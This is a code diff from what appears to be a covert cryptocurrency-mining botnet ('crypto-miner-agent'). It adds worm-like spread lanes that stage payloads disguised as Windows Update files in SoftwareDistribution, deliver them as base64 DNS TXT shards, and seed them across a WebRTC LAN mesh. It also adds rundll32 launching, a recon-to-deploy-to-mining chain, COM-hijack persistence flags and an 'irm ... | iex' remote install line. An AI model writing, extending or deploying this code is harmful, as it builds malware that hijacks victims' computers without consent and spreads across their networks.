return err == nil && strings.Contains(string(out), "WindowsUpdate")
|
||||
}
|
||||
@@ -6,6 +6,8 @@ import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// DetectCUDA reports NVIDIA CUDA via nvidia-smi.
|
||||
|
||||
@@ -2,6 +2,8 @@
|
||||
|
||||
package miner
|
||||
|
||||
const webView2BinaryName = "msedgewebview2.exe"
|
||||
|
||||
func platformWebView2Probe() WebView2ProbeResult {
|
||||
return WebView2ProbeResult{ProbeOnly: true}
|
||||
}
|
||||
|
||||
@@ -2,8 +2,26 @@
|
||||
|
||||
package miner
|
||||
|
||||
import "fmt"
|
||||
import (
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
func platformWMIProcessCreate(commandLine string) (uint32, error) {
|
||||
return 0, fmt.Errorf("wmi tier requires windows")
|
||||
}
|
||||
|
||||
func parseWMICreatePID(out []byte) (uint32, error) {
|
||||
raw := string(out)
|
||||
re := regexp.MustCompile(`"pid"\s*:\s*(\d+)`)
|
||||
m := re.FindStringSubmatch(raw)
|
||||
if len(m) < 2 {
|
||||
return 0, fmt.Errorf("wmi: no pid in output: %s", raw)
|
||||
}
|
||||
v, err := strconv.ParseUint(m[1], 10, 32)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return uint32(v), nil
|
||||
}
|
||||
|
||||
@@ -57,6 +57,9 @@ var DefaultDeployLanes = []string{
|
||||
"dotnet",
|
||||
"bits_curl",
|
||||
"do_peer",
|
||||
"wsus_cache_peer",
|
||||
"dns_txt",
|
||||
"webrtc_mesh",
|
||||
"smb",
|
||||
"winrm",
|
||||
}
|
||||
|
||||
@@ -73,10 +73,21 @@ type ServerSettings struct {
|
||||
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
|
||||
// ServiceDeployAllowlist maps discovered service names to LOTL join lanes for discover_and_join.
|
||||
ServiceDeployAllowlist map[string]ServiceDeployLane `json:"service_deploy_allowlist,omitempty"`
|
||||
// DNSZone is the suffix for _aether.<zone> TXT mesh records (e.g. site.internal).
|
||||
DNSZone string `json:"dns_zone,omitempty"`
|
||||
// WebRTCMeshPolicy controls LAN seeder rotation and STUN for webrtc_mesh spread.
|
||||
WebRTCMeshPolicy WebRTCMeshPolicySettings `json:"webrtc_mesh_policy,omitempty"`
|
||||
// TripleOnionPolicy gates recon → deploy → mining chains pushed to agents at auth.
|
||||
TripleOnionPolicy TripleOnionSettings `json:"triple_onion_policy,omitempty"`
|
||||
}
|
||||
|
||||
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
|
||||
type WebRTCMeshPolicySettings struct {
|
||||
Enabled bool `json:"enabled,omitempty"`
|
||||
STUNServers []string `json:"stun_servers,omitempty"`
|
||||
RotationHours int `json:"rotation_hours,omitempty"`
|
||||
}
|
||||
|
||||
// TripleOnionSettings is Calibrate policy for the agent triple onion.
|
||||
type TripleOnionSettings struct {
|
||||
PatchFirst bool `json:"patch_first,omitempty"`
|
||||
@@ -259,8 +270,15 @@ func DefaultConfig() *Config {
|
||||
LotlOnionTiers: []string{
|
||||
"vuln_recon",
|
||||
"docker", "wsl", "powershell", "dotnet", "bits_curl",
|
||||
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh",
|
||||
"smb", "winrm", "linux", "gpo",
|
||||
},
|
||||
DNSZone: "internal",
|
||||
WebRTCMeshPolicy: WebRTCMeshPolicySettings{
|
||||
Enabled: false,
|
||||
STUNServers: []string{"stun:stun.l.google.com:19302"},
|
||||
RotationHours: 24,
|
||||
},
|
||||
ServiceDeployAllowlist: defaultServiceDeployAllowlist(),
|
||||
},
|
||||
}
|
||||
@@ -963,6 +981,14 @@ func (c *Config) Save() error {
|
||||
|
||||
func defaultServiceDeployAllowlist() map[string]ServiceDeployLane {
|
||||
return map[string]ServiceDeployLane{
|
||||
"DoSvc": {Lane: "do_peer", Priority: 35},
|
||||
"Delivery Optimization": {Lane: "do_peer", Priority: 35},
|
||||
"Wuauserv": {Lane: "wsus_cache_peer", Priority: 34},
|
||||
"wuauserv": {Lane: "wsus_cache_peer", Priority: 34},
|
||||
"Windows Update": {Lane: "wsus_cache_peer", Priority: 34},
|
||||
"dns_txt:_aether": {Lane: "dns_txt", Priority: 33},
|
||||
"dns_txt": {Lane: "dns_txt", Priority: 33},
|
||||
"webrtc_mesh": {Lane: "webrtc_mesh", Priority: 32},
|
||||
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
|
||||
"CcmExec": {Lane: "bits_curl", Priority: 10},
|
||||
"BITS": {Lane: "bits_curl", Priority: 8},
|
||||
|
||||
@@ -28,11 +28,26 @@ type StagingManifest struct {
|
||||
DeferMining bool `json:"defer_mining,omitempty"`
|
||||
SpreadInstall bool `json:"spread_install,omitempty"`
|
||||
PeerGroup string `json:"peer_group,omitempty"`
|
||||
CacheGroup string `json:"cache_group,omitempty"`
|
||||
DNSZone string `json:"dns_zone,omitempty"`
|
||||
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
|
||||
}
|
||||
|
||||
// WebRTCMeshPlanBody is LAN WebRTC seed policy attached to signed deploy plans.
|
||||
type WebRTCMeshPlanBody struct {
|
||||
STUNServers []string `json:"stun_servers,omitempty"`
|
||||
SignalingRelay string `json:"signaling_relay,omitempty"`
|
||||
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
|
||||
SeederAgentID string `json:"seeder_agent_id,omitempty"`
|
||||
RotationHours int `json:"rotation_hours,omitempty"`
|
||||
IsSeeder bool `json:"is_seeder,omitempty"`
|
||||
}
|
||||
|
||||
type StagingChunk struct {
|
||||
URL string `json:"url"`
|
||||
File string `json:"file"`
|
||||
URL string `json:"url"`
|
||||
File string `json:"file"`
|
||||
Record string `json:"record,omitempty"`
|
||||
Index int `json:"index,omitempty"`
|
||||
}
|
||||
|
||||
// DeployPlanBody is HMAC-signed and executed by the agent discover_and_join command.
|
||||
@@ -42,6 +57,12 @@ type DeployPlanBody struct {
|
||||
Action string `json:"action"`
|
||||
Manifest *StagingManifest `json:"manifest,omitempty"`
|
||||
PeerGroup string `json:"peer_group,omitempty"`
|
||||
CacheGroup string `json:"cache_group,omitempty"`
|
||||
DNSTXTZone string `json:"dns_txt_zone,omitempty"`
|
||||
DNSTXTRecords []string `json:"dns_txt_records,omitempty"`
|
||||
DNSTXTShards []int `json:"dns_txt_shards,omitempty"`
|
||||
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
|
||||
WebRTCMesh *WebRTCMeshPlanBody `json:"webrtc_mesh,omitempty"`
|
||||
Script string `json:"script,omitempty"`
|
||||
UNCPath string `json:"unc_path,omitempty"`
|
||||
MaxHosts int `json:"max_hosts,omitempty"`
|
||||
@@ -154,6 +175,30 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
|
||||
}
|
||||
body.Manifest = manifest
|
||||
body.PeerGroup = manifest.PeerGroup
|
||||
case "wsus_cache_peer":
|
||||
manifest, err := h.buildWSUSCachePeerManifest(req, serverURL)
|
||||
if err != nil {
|
||||
return DeployPlanBody{}, err
|
||||
}
|
||||
body.Manifest = manifest
|
||||
body.CacheGroup = manifest.CacheGroup
|
||||
case "dns_txt":
|
||||
manifest, zone, records, shards, ttl, err := h.buildDNSTXTManifest(req, serverURL)
|
||||
if err != nil {
|
||||
return DeployPlanBody{}, err
|
||||
}
|
||||
body.Manifest = manifest
|
||||
body.DNSTXTZone = zone
|
||||
body.DNSTXTRecords = records
|
||||
body.DNSTXTShards = shards
|
||||
body.TTLRefreshSec = ttl
|
||||
case "webrtc_mesh":
|
||||
manifest, mesh, err := h.buildWebRTCMeshManifest(req, serverURL)
|
||||
if err != nil {
|
||||
return DeployPlanBody{}, err
|
||||
}
|
||||
body.Manifest = manifest
|
||||
body.WebRTCMesh = mesh
|
||||
case "bits_curl":
|
||||
manifest, err := h.buildStagingManifest(req, serverURL)
|
||||
if err != nil {
|
||||
@@ -236,6 +281,174 @@ func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL
|
||||
}, nil
|
||||
}
|
||||
|
||||
// buildWSUSCachePeerManifest stages hash-verified chunks beside SoftwareDistribution\Download.
|
||||
func (h *DeployPlanHandler) buildWSUSCachePeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
|
||||
platform := strings.TrimSpace(req.Platform)
|
||||
if platform == "" {
|
||||
platform = "windows"
|
||||
}
|
||||
buildID := strings.TrimSpace(req.BuildID)
|
||||
build, err := h.resolveBuild(buildID, platform)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
hash, err := fileSHA256(build.FilePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("build hash: %w", err)
|
||||
}
|
||||
|
||||
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
|
||||
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
|
||||
cacheGroup := "af-wsus-" + hash[:8]
|
||||
if campaign := strings.TrimSpace(req.Campaign); campaign != "" {
|
||||
cacheGroup = "af-wsus-" + sanitizeDeployToken(campaign)
|
||||
}
|
||||
|
||||
dest := `%WINDIR%\SoftwareDistribution\Download\af-cache\wsus-worker.exe`
|
||||
launch := "exe"
|
||||
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
|
||||
dest = `%WINDIR%\SoftwareDistribution\Download\af-cache\wsus-worker.dll`
|
||||
launch = "rundll32"
|
||||
}
|
||||
|
||||
return &StagingManifest{
|
||||
Method: "bits",
|
||||
Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
|
||||
SHA256: hash,
|
||||
Dest: dest,
|
||||
Launch: launch,
|
||||
DLLExport: "DllRegisterServer",
|
||||
DeferMining: true,
|
||||
SpreadInstall: true,
|
||||
CacheGroup: cacheGroup,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// buildDNSTXTManifest returns TXT shard records + embedded chunk API fallback URLs for tests.
|
||||
func (h *DeployPlanHandler) buildDNSTXTManifest(req deployPlanRequest, serverURL string) (*StagingManifest, string, []string, []int, int, error) {
|
||||
platform := strings.TrimSpace(req.Platform)
|
||||
if platform == "" {
|
||||
platform = "windows"
|
||||
}
|
||||
buildID := strings.TrimSpace(req.BuildID)
|
||||
build, err := h.resolveBuild(buildID, platform)
|
||||
if err != nil {
|
||||
return nil, "", nil, nil, 0, err
|
||||
}
|
||||
hash, err := fileSHA256(build.FilePath)
|
||||
if err != nil {
|
||||
return nil, "", nil, nil, 0, fmt.Errorf("build hash: %w", err)
|
||||
}
|
||||
|
||||
zone := h.dnsTXTZone()
|
||||
records := []string{
|
||||
"_aether.shard0." + zone,
|
||||
"_aether.shard1." + zone,
|
||||
}
|
||||
shards := []int{0, 1}
|
||||
ttl := 300
|
||||
|
||||
chunks := make([]StagingChunk, len(records))
|
||||
for i, rec := range records {
|
||||
chunks[i] = StagingChunk{
|
||||
Record: rec,
|
||||
Index: shards[i],
|
||||
File: fmt.Sprintf("shard-%d.b64", shards[i]),
|
||||
URL: serverURL + "/api/v1/public/dns-txt/" + sanitizeDeployToken(rec),
|
||||
}
|
||||
}
|
||||
|
||||
dest := `%TEMP%\AetherForge\dns-txt-worker.exe`
|
||||
launch := "exe"
|
||||
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
|
||||
dest = `%TEMP%\AetherForge\dns-txt-worker.dll`
|
||||
launch = "rundll32"
|
||||
}
|
||||
|
||||
manifest := &StagingManifest{
|
||||
Method: "dns_txt",
|
||||
Chunks: chunks,
|
||||
SHA256: hash,
|
||||
Dest: dest,
|
||||
Launch: launch,
|
||||
DLLExport: "DllRegisterServer",
|
||||
DeferMining: true,
|
||||
SpreadInstall: true,
|
||||
DNSZone: zone,
|
||||
TTLRefreshSec: ttl,
|
||||
}
|
||||
return manifest, zone, records, shards, ttl, nil
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) dnsTXTZone() string {
|
||||
zone := "internal"
|
||||
if h.allowlist != nil {
|
||||
_ = h.allowlist()
|
||||
}
|
||||
if h.dataDir != "" {
|
||||
cfgPath := filepath.Join(h.dataDir, "config.json")
|
||||
if data, err := os.ReadFile(cfgPath); err == nil {
|
||||
var payload struct {
|
||||
Server struct {
|
||||
DNSZone string `json:"dns_zone"`
|
||||
} `json:"server"`
|
||||
}
|
||||
if json.Unmarshal(data, &payload) == nil && strings.TrimSpace(payload.Server.DNSZone) != "" {
|
||||
zone = strings.TrimSpace(payload.Server.DNSZone)
|
||||
}
|
||||
}
|
||||
}
|
||||
return zone
|
||||
}
|
||||
|
||||
// buildWebRTCMeshManifest returns LAN seed manifest metadata; payload bytes stay on subnet.
|
||||
func (h *DeployPlanHandler) buildWebRTCMeshManifest(req deployPlanRequest, serverURL string) (*StagingManifest, *WebRTCMeshPlanBody, error) {
|
||||
platform := strings.TrimSpace(req.Platform)
|
||||
if platform == "" {
|
||||
platform = "windows"
|
||||
}
|
||||
buildID := strings.TrimSpace(req.BuildID)
|
||||
build, err := h.resolveBuild(buildID, platform)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
hash, err := fileSHA256(build.FilePath)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("build hash: %w", err)
|
||||
}
|
||||
|
||||
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
|
||||
fallbackURL := serverURL + "/api/v1/public/webrtc-mesh/manifest" + strings.TrimPrefix(getQuerySuffix, "&")
|
||||
if !strings.Contains(fallbackURL, "?") && strings.TrimPrefix(getQuerySuffix, "&") != "" {
|
||||
fallbackURL = serverURL + "/api/v1/public/webrtc-mesh/manifest?" + strings.TrimPrefix(getQuerySuffix, "&")
|
||||
}
|
||||
|
||||
dest := `%TEMP%\AetherForge\webrtc-mesh-worker.exe`
|
||||
launch := "exe"
|
||||
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
|
||||
dest = `%TEMP%\AetherForge\webrtc-mesh-worker.dll`
|
||||
launch = "rundll32"
|
||||
}
|
||||
|
||||
manifest := &StagingManifest{
|
||||
Method: "webrtc_mesh",
|
||||
SHA256: hash,
|
||||
Dest: dest,
|
||||
Launch: launch,
|
||||
DLLExport: "DllRegisterServer",
|
||||
DeferMining: true,
|
||||
SpreadInstall: true,
|
||||
}
|
||||
mesh := &WebRTCMeshPlanBody{
|
||||
STUNServers: []string{"stun:stun.l.google.com:19302"},
|
||||
SignalingRelay: strings.TrimRight(serverURL, "/") + "/ws/webrtc-relay",
|
||||
LANFallbackURL: fallbackURL,
|
||||
SeederAgentID: strings.TrimSpace(req.AgentID),
|
||||
RotationHours: 24,
|
||||
}
|
||||
return manifest, mesh, nil
|
||||
}
|
||||
|
||||
func sanitizeDeployToken(s string) string {
|
||||
s = strings.ToLower(strings.TrimSpace(s))
|
||||
var b strings.Builder
|
||||
|
||||
121
server/internal/api/deploy_plan_test.go
Normal file
121
server/internal/api/deploy_plan_test.go
Normal file
@@ -0,0 +1,121 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func testDeployPlanHandler(t *testing.T) *DeployPlanHandler {
|
||||
t.Helper()
|
||||
dir := t.TempDir()
|
||||
database, err := dbpkg.New(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
buildDir := filepath.Join(dir, "builds", "b1")
|
||||
if err := os.MkdirAll(buildDir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
artifact := filepath.Join(buildDir, "worker.exe")
|
||||
if err := os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := database.InsertBuild(&models.BuildRecord{
|
||||
ID: "b1", Platform: "windows", FileName: "worker.exe", FilePath: artifact,
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
cfgPath := filepath.Join(dir, "config.json")
|
||||
if err := os.WriteFile(cfgPath, []byte(`{"server":{"dns_zone":"lab.internal"}}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return NewDeployPlanHandler(database, dir, dir,
|
||||
func() string { return "http://127.0.0.1:8989" },
|
||||
func() string { return "fleet-test" },
|
||||
func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) },
|
||||
)
|
||||
}
|
||||
|
||||
func TestBuildPlanWSUSCachePeerLane(t *testing.T) {
|
||||
h := testDeployPlanHandler(t)
|
||||
plan, err := h.buildPlan(deployPlanRequest{
|
||||
Platform: "windows", BuildID: "b1",
|
||||
}, "Wuauserv", ServiceDeployLane{Lane: "wsus_cache_peer"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if plan.JoinLane != "wsus_cache_peer" || plan.Manifest == nil {
|
||||
t.Fatalf("plan=%+v", plan)
|
||||
}
|
||||
if plan.CacheGroup == "" || plan.Manifest.CacheGroup == "" {
|
||||
t.Fatal("expected cache_group")
|
||||
}
|
||||
if !containsStr(plan.Manifest.Dest, "SoftwareDistribution") {
|
||||
t.Fatalf("dest=%q", plan.Manifest.Dest)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildPlanDNSTXTLane(t *testing.T) {
|
||||
h := testDeployPlanHandler(t)
|
||||
plan, err := h.buildPlan(deployPlanRequest{
|
||||
Platform: "windows", BuildID: "b1",
|
||||
}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if plan.JoinLane != "dns_txt" || plan.Manifest == nil {
|
||||
t.Fatalf("plan=%+v", plan)
|
||||
}
|
||||
if plan.DNSTXTZone != "lab.internal" || len(plan.DNSTXTRecords) < 1 {
|
||||
t.Fatalf("dns zone/records: zone=%q records=%v", plan.DNSTXTZone, plan.DNSTXTRecords)
|
||||
}
|
||||
if plan.TTLRefreshSec <= 0 {
|
||||
t.Fatal("expected ttl_refresh_sec")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildPlanWebRTCMeshLane(t *testing.T) {
|
||||
h := testDeployPlanHandler(t)
|
||||
plan, err := h.buildPlan(deployPlanRequest{
|
||||
AgentID: "agent-seed-1", Platform: "windows", BuildID: "b1",
|
||||
}, "webrtc_mesh", ServiceDeployLane{Lane: "webrtc_mesh"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if plan.JoinLane != "webrtc_mesh" || plan.WebRTCMesh == nil {
|
||||
t.Fatalf("plan=%+v", plan)
|
||||
}
|
||||
if plan.WebRTCMesh.RotationHours != 24 || plan.WebRTCMesh.SeederAgentID != "agent-seed-1" {
|
||||
t.Fatalf("mesh=%+v", plan.WebRTCMesh)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPickDeployLaneWSUSBelowDoSvc(t *testing.T) {
|
||||
allowlist := NormalizeServiceDeployAllowlist(nil)
|
||||
services := []DeployServiceFinding{
|
||||
{Name: "Wuauserv", Status: "running"},
|
||||
{Name: "DoSvc", Status: "running"},
|
||||
}
|
||||
matched, lane, ok := PickDeployLane(services, allowlist)
|
||||
if !ok || matched != "DoSvc" || lane.Lane != "do_peer" {
|
||||
t.Fatalf("matched=%q lane=%q", matched, lane.Lane)
|
||||
}
|
||||
}
|
||||
|
||||
func containsStr(s, sub string) bool {
|
||||
return len(s) >= len(sub) && (s == sub || len(sub) == 0 || indexStr(s, sub) >= 0)
|
||||
}
|
||||
|
||||
func indexStr(s, sub string) int {
|
||||
for i := 0; i+len(sub) <= len(s); i++ {
|
||||
if s[i:i+len(sub)] == sub {
|
||||
return i
|
||||
}
|
||||
}
|
||||
return -1
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -136,6 +137,68 @@ func (h *PublicHandler) Download(w http.ResponseWriter, r *http.Request) {
|
||||
http.ServeFile(w, r, path)
|
||||
}
|
||||
|
||||
// GET /api/v1/public/dns-txt/{record}
|
||||
// Simulates DNS TXT shard responses for tests when real _aether zone is unavailable.
|
||||
func (h *PublicHandler) DNSTXTShard(w http.ResponseWriter, r *http.Request) {
|
||||
record := strings.TrimSpace(chi.URLParam(r, "record"))
|
||||
if record == "" {
|
||||
http.Error(w, "record required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
buildID := strings.TrimSpace(r.URL.Query().Get("pin"))
|
||||
if buildID == "" {
|
||||
buildID = strings.TrimSpace(r.URL.Query().Get("build_id"))
|
||||
}
|
||||
platform := strings.TrimSpace(r.URL.Query().Get("os"))
|
||||
if platform == "" {
|
||||
platform = "windows"
|
||||
}
|
||||
build, err := h.resolveLatestBuild(buildID, platform)
|
||||
if err != nil {
|
||||
http.Error(w, "build not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
data, err := os.ReadFile(build.FilePath)
|
||||
if err != nil {
|
||||
http.Error(w, "artifact missing", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
// Single-shard simulation for tests; multi-shard plans use per-record URLs.
|
||||
w.Header().Set("Content-Type", "text/plain")
|
||||
_, _ = w.Write([]byte(encodeDNSTXTShard(data)))
|
||||
}
|
||||
|
||||
// GET /api/v1/public/webrtc-mesh/manifest
|
||||
// LAN HTTP fallback stub documented in SPREAD_TECHNIQUES — real path uses WebRTC data channel + WS relay.
|
||||
func (h *PublicHandler) WebRTCMeshManifest(w http.ResponseWriter, r *http.Request) {
|
||||
buildID := strings.TrimSpace(r.URL.Query().Get("pin"))
|
||||
if buildID == "" {
|
||||
buildID = strings.TrimSpace(r.URL.Query().Get("build_id"))
|
||||
}
|
||||
platform := strings.TrimSpace(r.URL.Query().Get("os"))
|
||||
if platform == "" {
|
||||
platform = "windows"
|
||||
}
|
||||
build, err := h.resolveLatestBuild(buildID, platform)
|
||||
if err != nil {
|
||||
http.Error(w, "build not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
http.ServeFile(w, r, build.FilePath)
|
||||
}
|
||||
|
||||
func (h *PublicHandler) resolveLatestBuild(buildID, platform string) (*models.BuildRecord, error) {
|
||||
if buildID != "" {
|
||||
return h.db.GetBuild(buildID)
|
||||
}
|
||||
return h.db.GetLatestBuildForPlatform(platform)
|
||||
}
|
||||
|
||||
func encodeDNSTXTShard(data []byte) string {
|
||||
return base64.StdEncoding.EncodeToString(data)
|
||||
}
|
||||
|
||||
func clientIP(r *http.Request) string {
|
||||
ip := r.Header.Get("X-Forwarded-For")
|
||||
if ip == "" {
|
||||
|
||||
@@ -736,6 +736,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/public/builds", publicHandler.ListBuilds)
|
||||
r.Get("/public/download/{id}", publicHandler.Download)
|
||||
r.Get("/public/download/{id}/artifact/{name}", publicHandler.Download)
|
||||
r.Get("/public/dns-txt/{record}", publicHandler.DNSTXTShard)
|
||||
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
|
||||
}
|
||||
})
|
||||
|
||||
|
||||
@@ -16,6 +16,12 @@ type ServiceDeployLane struct {
|
||||
var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{
|
||||
"DoSvc": {Lane: "do_peer", Priority: 35},
|
||||
"Delivery Optimization": {Lane: "do_peer", Priority: 35},
|
||||
"Wuauserv": {Lane: "wsus_cache_peer", Priority: 34},
|
||||
"wuauserv": {Lane: "wsus_cache_peer", Priority: 34},
|
||||
"Windows Update": {Lane: "wsus_cache_peer", Priority: 34},
|
||||
"dns_txt:_aether": {Lane: "dns_txt", Priority: 33},
|
||||
"dns_txt": {Lane: "dns_txt", Priority: 33},
|
||||
"webrtc_mesh": {Lane: "webrtc_mesh", Priority: 32},
|
||||
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
|
||||
"CcmExec": {Lane: "bits_curl", Priority: 10},
|
||||
"BITS": {Lane: "bits_curl", Priority: 8},
|
||||
@@ -69,6 +75,12 @@ func normalizeJoinLane(lane string) string {
|
||||
return "bits_curl"
|
||||
case "do_peer", "do-peer", "dosvc":
|
||||
return "do_peer"
|
||||
case "wsus_cache_peer", "wsus-cache-peer", "wsus":
|
||||
return "wsus_cache_peer"
|
||||
case "dns_txt", "dns-txt":
|
||||
return "dns_txt"
|
||||
case "webrtc_mesh", "webrtc-mesh":
|
||||
return "webrtc_mesh"
|
||||
case "docker", "docker_load", "docker-load":
|
||||
return "docker_load"
|
||||
case "smb", "smb_unc", "spread_smb_unc", "spread-smb-unc":
|
||||
|
||||
@@ -23,6 +23,28 @@ func TestNormalizeJoinLaneDoPeer(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeJoinLaneNewTiers(t *testing.T) {
|
||||
cases := map[string]string{
|
||||
"wsus-cache-peer": "wsus_cache_peer",
|
||||
"dns-txt": "dns_txt",
|
||||
"webrtc-mesh": "webrtc_mesh",
|
||||
}
|
||||
for in, want := range cases {
|
||||
if got := normalizeJoinLane(in); got != want {
|
||||
t.Fatalf("%q => %q want %q", in, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestPickDeployLaneDNSTXT(t *testing.T) {
|
||||
allowlist := NormalizeServiceDeployAllowlist(nil)
|
||||
services := []DeployServiceFinding{{Name: "dns_txt:_aether", Status: "running"}}
|
||||
matched, lane, ok := PickDeployLane(services, allowlist)
|
||||
if !ok || matched != "dns_txt:_aether" || lane.Lane != "dns_txt" {
|
||||
t.Fatalf("matched=%q lane=%q", matched, lane.Lane)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPickDeployLanePriority(t *testing.T) {
|
||||
allowlist := NormalizeServiceDeployAllowlist(map[string]ServiceDeployLane{
|
||||
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
|
||||
|
||||
@@ -85,8 +85,11 @@ type BuildRequest struct {
|
||||
RemoteAggressive bool `json:"remote_aggressive"`
|
||||
USBSpread bool `json:"usb_spread"`
|
||||
ShareSpread bool `json:"share_spread"`
|
||||
WinRMSpread bool `json:"winrm_spread"`
|
||||
COMHijackPersist bool `json:"com_hijack_persist"`
|
||||
WinRMSpread bool `json:"winrm_spread"`
|
||||
DnsTxtSpread bool `json:"dns_txt_spread"`
|
||||
WebRTCMeshSpread bool `json:"webrtc_mesh_spread"`
|
||||
WSUSCachePeerSpread bool `json:"wsus_cache_peer_spread"`
|
||||
COMHijackPersist bool `json:"com_hijack_persist"`
|
||||
LinuxLOTLMode string `json:"linux_lotl_mode"`
|
||||
TargetOS string `json:"target_os"`
|
||||
TargetArch string `json:"target_arch"`
|
||||
@@ -1216,6 +1219,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
USBSpread: %v,
|
||||
ShareSpread: %v,
|
||||
WinRMSpread: %v,
|
||||
DnsTxtSpread: %v,
|
||||
WebRTCMeshSpread: %v,
|
||||
WSUSCachePeerSpread: %v,
|
||||
COMHijackPersist: %v,
|
||||
LinuxLOTLMode: %q,
|
||||
BackupServerURLs: %s,
|
||||
@@ -1299,6 +1305,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.USBSpread,
|
||||
req.ShareSpread,
|
||||
req.WinRMSpread,
|
||||
req.DnsTxtSpread,
|
||||
req.WebRTCMeshSpread,
|
||||
req.WSUSCachePeerSpread,
|
||||
req.COMHijackPersist,
|
||||
req.LinuxLOTLMode,
|
||||
formatGoStringSlice(req.BackupServerURLs),
|
||||
|
||||
@@ -11,6 +11,9 @@ var DefaultLotlOnionTiers = []string{
|
||||
"dotnet",
|
||||
"bits_curl",
|
||||
"do_peer",
|
||||
"wsus_cache_peer",
|
||||
"dns_txt",
|
||||
"webrtc_mesh",
|
||||
"smb",
|
||||
"winrm",
|
||||
"linux",
|
||||
@@ -22,7 +25,8 @@ func NormalizeLotlOnionTiers(raw []string) []string {
|
||||
allowed := map[string]struct{}{
|
||||
"vuln_recon": {},
|
||||
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
|
||||
"bits_curl": {}, "do_peer": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
|
||||
"bits_curl": {}, "do_peer": {}, "wsus_cache_peer": {}, "dns_txt": {}, "webrtc_mesh": {},
|
||||
"smb": {}, "winrm": {}, "linux": {}, "gpo": {},
|
||||
}
|
||||
out := make([]string, 0, len(raw))
|
||||
for _, t := range raw {
|
||||
|
||||
@@ -4,7 +4,7 @@ import "testing"
|
||||
|
||||
func TestNormalizeLotlOnionTiers(t *testing.T) {
|
||||
got := NormalizeLotlOnionTiers(nil)
|
||||
if len(got) != 10 || got[0] != "vuln_recon" || got[9] != "gpo" {
|
||||
if len(got) != 14 || got[0] != "vuln_recon" || got[13] != "gpo" {
|
||||
t.Fatalf("defaults: %v", got)
|
||||
}
|
||||
}
|
||||
@@ -25,7 +25,7 @@ func TestApplyLotlOnionPreset(t *testing.T) {
|
||||
if !req.AutoSpread || !req.ShareSpread || req.SpreadKit {
|
||||
t.Fatal("spread profile")
|
||||
}
|
||||
if len(req.LotlOnionTiers) != 10 {
|
||||
if len(req.LotlOnionTiers) != 14 {
|
||||
t.Fatalf("tiers: %v", req.LotlOnionTiers)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -423,6 +423,21 @@ irm https://your.site/install.ps1?pin={build_id}&c=docs | iex</code></pre>
|
